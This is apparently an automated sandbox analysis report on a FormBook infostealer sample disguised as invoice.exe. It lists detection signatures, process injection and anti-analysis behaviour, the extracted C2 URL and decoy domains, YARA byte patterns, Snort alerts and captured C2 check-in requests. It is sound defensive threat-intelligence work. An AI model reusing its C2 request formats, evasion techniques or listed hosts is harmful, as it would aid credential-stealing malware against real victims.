Play interactive tour

Edit tour

Analysis Report invoice.exe

Overview

General Information

Sample Name:	invoice.exe
Analysis ID:	383898
MD5:	492017e064cab97dd8ea27abd3e5cfca
SHA1:	a3addbdea8245b2e16c6ef551755b9d0e66e8e2b
SHA256:	524306af2db603c7db95227603c3014b67c27cfb2f88d12de2a599ece24575e2
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM3

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

invoice.exe (PID: 1972 cmdline: 'C:\Users\user\Desktop\invoice.exe' MD5: 492017E064CAB97DD8EA27ABD3E5CFCA)

invoice.exe (PID: 480 cmdline: C:\Users\user\Desktop\invoice.exe MD5: 492017E064CAB97DD8EA27ABD3E5CFCA)

explorer.exe (PID: 3472 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

wscript.exe (PID: 5064 cmdline: C:\Windows\SysWOW64\wscript.exe MD5: 7075DD7B9BE8807FCA93ACD86F724884)

cmd.exe (PID: 6164 cmdline: /c del 'C:\Users\user\Desktop\invoice.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.sookepointcargo.com/e3rs/"], "decoy": ["mcni360clientapp.com", "dateyourlovelive.club", "amongugadu.com", "jarruslogistics.com", "jeejwbvf.icu", "amnil-wecu.xyz", "armaccountingbs.com", "revistadedisseny.com", "aqiyi.club", "cuchdblackboard.com", "hancement.info", "humanizantes.com", "slingshotct.com", "degen.fund", "onemindtransformed.com", "theunlearningjourney.com", "zmid.xyz", "profirma-nachfolge.com", "curiget.xyz", "officinadellapappa.com", "leverage.community", "improvetechprocess.com", "legacyadmin.support", "quantumwater.info", "gsinghproperties.com", "gigbager.com", "menpeeinthesink.com", "ultimate.icu", "hotelmaktub.com", "arizonagridiron.com", "rvsmiami.com", "allzodiac.com", "knoxvilleoutdoorkitchens.com", "gunungbatufrozen.com", "keystone-sd.com", "positiveagenda-consulting.com", "harshdeepfashion.com", "imetmymurdereronline.com", "thesnackculture.com", "carolinapropertiessolution.com", "prfectskin.com", "okaog.com", "highdeserthealthinsurance.com", "ovelgonne.com", "tgcmaine.com", "jinlan.online", "airportlimo4u.com", "serendipity-collective.com", "bibeiw.com", "unagelo.com", "pageonefourplay.info", "apmrfgpu.icu", "cognitiveautomationtool.com", "applelucycooking.com", "can-march.xyz", "modernmarvelrealtors.com", "panasianetwork.net", "flowhcf.com", "earwaxsux.com", "konakia.net", "bges301.com", "rosuba.com", "hedgetheory.com", "myyearwithoutjews.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166c9:$sqlite3step: 68 34 1C 7B E1 0x167dc:$sqlite3step: 68 34 1C 7B E1 0x166f8:$sqlite3text: 68 38 2A 90 C5 0x1681d:$sqlite3text: 68 38 2A 90 C5 0x1670b:$sqlite3blob: 68 53 D8 7F 8C 0x16833:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166c9:$sqlite3step: 68 34 1C 7B E1 0x167dc:$sqlite3step: 68 34 1C 7B E1 0x166f8:$sqlite3text: 68 38 2A 90 C5 0x1681d:$sqlite3text: 68 38 2A 90 C5 0x1670b:$sqlite3blob: 68 53 D8 7F 8C 0x16833:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166c9:$sqlite3step: 68 34 1C 7B E1 0x167dc:$sqlite3step: 68 34 1C 7B E1 0x166f8:$sqlite3text: 68 38 2A 90 C5 0x1681d:$sqlite3text: 68 38 2A 90 C5 0x1670b:$sqlite3blob: 68 53 D8 7F 8C 0x16833:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166c9:$sqlite3step: 68 34 1C 7B E1 0x167dc:$sqlite3step: 68 34 1C 7B E1 0x166f8:$sqlite3text: 68 38 2A 90 C5 0x1681d:$sqlite3text: 68 38 2A 90 C5 0x1670b:$sqlite3blob: 68 53 D8 7F 8C 0x16833:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166c9:$sqlite3step: 68 34 1C 7B E1 0x167dc:$sqlite3step: 68 34 1C 7B E1 0x166f8:$sqlite3text: 68 38 2A 90 C5 0x1681d:$sqlite3text: 68 38 2A 90 C5 0x1670b:$sqlite3blob: 68 53 D8 7F 8C 0x16833:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166c9:$sqlite3step: 68 34 1C 7B E1 0x167dc:$sqlite3step: 68 34 1C 7B E1 0x166f8:$sqlite3text: 68 38 2A 90 C5 0x1681d:$sqlite3text: 68 38 2A 90 C5 0x1670b:$sqlite3blob: 68 53 D8 7F 8C 0x16833:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xe9708:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xe9aa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x110b28:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x110ec2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xf57b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x11cbd5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xf52a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x11c6c1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xf58b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x11ccd7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xf5a2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x11ce4f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xea4ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1118da:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xf451c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x11b93c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xeb232:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x112652:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xfa8a7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x121cc7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xfb94a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xf77d9:$sqlite3step: 68 34 1C 7B E1 0xf78ec:$sqlite3step: 68 34 1C 7B E1 0x11ebf9:$sqlite3step: 68 34 1C 7B E1 0x11ed0c:$sqlite3step: 68 34 1C 7B E1 0xf7808:$sqlite3text: 68 38 2A 90 C5 0xf792d:$sqlite3text: 68 38 2A 90 C5 0x11ec28:$sqlite3text: 68 38 2A 90 C5 0x11ed4d:$sqlite3text: 68 38 2A 90 C5 0xf781b:$sqlite3blob: 68 53 D8 7F 8C 0xf7943:$sqlite3blob: 68 53 D8 7F 8C 0x11ec3b:$sqlite3blob: 68 53 D8 7F 8C 0x11ed63:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: invoice.exe PID: 1972	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.invoice.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
3.2.invoice.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x138a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x85aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
3.2.invoice.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158c9:$sqlite3step: 68 34 1C 7B E1 0x159dc:$sqlite3step: 68 34 1C 7B E1 0x158f8:$sqlite3text: 68 38 2A 90 C5 0x15a1d:$sqlite3text: 68 38 2A 90 C5 0x1590b:$sqlite3blob: 68 53 D8 7F 8C 0x15a33:$sqlite3blob: 68 53 D8 7F 8C
3.2.invoice.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
3.2.invoice.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
3.2.invoice.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166c9:$sqlite3step: 68 34 1C 7B E1 0x167dc:$sqlite3step: 68 34 1C 7B E1 0x166f8:$sqlite3text: 68 38 2A 90 C5 0x1681d:$sqlite3text: 68 38 2A 90 C5 0x1670b:$sqlite3blob: 68 53 D8 7F 8C 0x16833:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.sookepointcargo.com/e3rs/"], "decoy": ["mcni360clientapp.com", "dateyourlovelive.club", "amongugadu.com", "jarruslogistics.com", "jeejwbvf.icu", "amnil-wecu.xyz", "armaccountingbs.com", "revistadedisseny.com", "aqiyi.club", "cuchdblackboard.com", "hancement.info", "humanizantes.com", "slingshotct.com", "degen.fund", "onemindtransformed.com", "theunlearningjourney.com", "zmid.xyz", "profirma-nachfolge.com", "curiget.xyz", "officinadellapappa.com", "leverage.community", "improvetechprocess.com", "legacyadmin.support", "quantumwater.info", "gsinghproperties.com", "gigbager.com", "menpeeinthesink.com", "ultimate.icu", "hotelmaktub.com", "arizonagridiron.com", "rvsmiami.com", "allzodiac.com", "knoxvilleoutdoorkitchens.com", "gunungbatufrozen.com", "keystone-sd.com", "positiveagenda-consulting.com", "harshdeepfashion.com", "imetmymurdereronline.com", "thesnackculture.com", "carolinapropertiessolution.com", "prfectskin.com", "okaog.com", "highdeserthealthinsurance.com", "ovelgonne.com", "tgcmaine.com", "jinlan.online", "airportlimo4u.com", "serendipity-collective.com", "bibeiw.com", "unagelo.com", "pageonefourplay.info", "apmrfgpu.icu", "cognitiveautomationtool.com", "applelucycooking.com", "can-march.xyz", "modernmarvelrealtors.com", "panasianetwork.net", "flowhcf.com", "earwaxsux.com", "konakia.net", "bges301.com", "rosuba.com", "hedgetheory.com", "myyearwithoutjews.com"]}

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.invoice.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.invoice.exe.400000.0.raw.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Show sources

Source: invoice.exe

Joe Sandbox ML: detected

Source: 3.2.invoice.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: invoice.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: invoice.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wscript.pdbGCTL source: invoice.exe, 00000003.00000002.288057088.0000000001B70000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: invoice.exe, 00000003.00000002.287622749.00000000018CF000.00000040.00000001.sdmp, wscript.exe, 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: invoice.exe, 00000003.00000002.287622749.00000000018CF000.00000040.00000001.sdmp, wscript.exe
Source:	Binary string: wscript.pdb source: invoice.exe, 00000003.00000002.288057088.0000000001B70000.00000040.00000001.sdmp

Source: C:\Users\user\Desktop\invoice.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	0_2_02BF81C0
Source: C:\Users\user\Desktop\invoice.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	0_2_02BF81B0
Source: C:\Users\user\Desktop\invoice.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	0_2_02BF96E0
Source: C:\Users\user\Desktop\invoice.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	0_2_02BF96D0
Source: C:\Users\user\Desktop\invoice.exe	Code function: 4x nop then pop esi	3_2_0041584F
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 4x nop then pop esi	9_2_021C584F

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49717 -> 184.168.131.241:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49717 -> 184.168.131.241:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49717 -> 184.168.131.241:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49725 -> 208.91.197.91:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49725 -> 208.91.197.91:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49725 -> 208.91.197.91:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49732 -> 177.55.108.130:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49732 -> 177.55.108.130:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49732 -> 177.55.108.130:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.sookepointcargo.com/e3rs/

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Windows\explorer.exe

DNS query: www.zmid.xyz

Source: global traffic	HTTP traffic detected: GET /e3rs/?uFQl=XP7HMT_8&w0G=7EcTScmBGLYmOphx6WmAanuMW8SmjCZcy1cTUFzuZxTbodjrouz1iofcKvfRvNdFU6cO HTTP/1.1Host: www.flowhcf.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /e3rs/?uFQl=XP7HMT_8&w0G=0ZKu2HAGzvZQR/qsYgBhCWXzZU+pty94akjoW6oXtCN964+Lsvy2TInFlM7SmRuoaV8X HTTP/1.1Host: www.jinlan.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /e3rs/?w0G=UjY/ETYDec4qhoizf7RP+uVqhCLoGuhip7tAF9t9xQZdbBeLWBLuGPY37yNXVCM5GTyP&uFQl=XP7HMT_8 HTTP/1.1Host: www.armaccountingbs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /e3rs/?w0G=3w4QHVrJOCimt90ZTeKXMe7ZrYb4bnkzv7QZzufjPqhFBPGQ1SrJ/wFsHy6lqdqQBlr0&uFQl=XP7HMT_8 HTTP/1.1Host: www.knoxvilleoutdoorkitchens.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /e3rs/?w0G=7ZSYqSAb20IhJodkc2ZZv2+VQiffweVGAnhTkqT9MP7KQ1W755ixlatoWnihL/C2wZs0&uFQl=XP7HMT_8 HTTP/1.1Host: www.highdeserthealthinsurance.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /e3rs/?uFQl=XP7HMT_8&w0G=Ok77fVcdVMfIiR4pMXON/NN29f2Jfu2AMoU186FmLUOu6U92Y3SpeQqKBhzvmDYI2dCa HTTP/1.1Host: www.hotelmaktub.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /e3rs/?w0G=0yUiwx1wLvxUfzb5kCZXOl2J+dvoSMZhdpoUDtYYFWxv9npQwlOrxt3zkZH4aLHtWZT3&uFQl=XP7HMT_8 HTTP/1.1Host: www.legacyadmin.supportConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	IP Address: 192.0.78.24 192.0.78.24
Source: Joe Sandbox View	IP Address: 208.91.197.91 208.91.197.91

Source: Joe Sandbox View	ASN Name: AUTOMATTICUS AUTOMATTICUS
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: CONFLUENCE-NETWORK-INCVG CONFLUENCE-NETWORK-INCVG

Source: global traffic	HTTP traffic detected: GET /e3rs/?uFQl=XP7HMT_8&w0G=7EcTScmBGLYmOphx6WmAanuMW8SmjCZcy1cTUFzuZxTbodjrouz1iofcKvfRvNdFU6cO HTTP/1.1Host: www.flowhcf.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /e3rs/?uFQl=XP7HMT_8&w0G=0ZKu2HAGzvZQR/qsYgBhCWXzZU+pty94akjoW6oXtCN964+Lsvy2TInFlM7SmRuoaV8X HTTP/1.1Host: www.jinlan.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /e3rs/?w0G=UjY/ETYDec4qhoizf7RP+uVqhCLoGuhip7tAF9t9xQZdbBeLWBLuGPY37yNXVCM5GTyP&uFQl=XP7HMT_8 HTTP/1.1Host: www.armaccountingbs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /e3rs/?w0G=3w4QHVrJOCimt90ZTeKXMe7ZrYb4bnkzv7QZzufjPqhFBPGQ1SrJ/wFsHy6lqdqQBlr0&uFQl=XP7HMT_8 HTTP/1.1Host: www.knoxvilleoutdoorkitchens.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
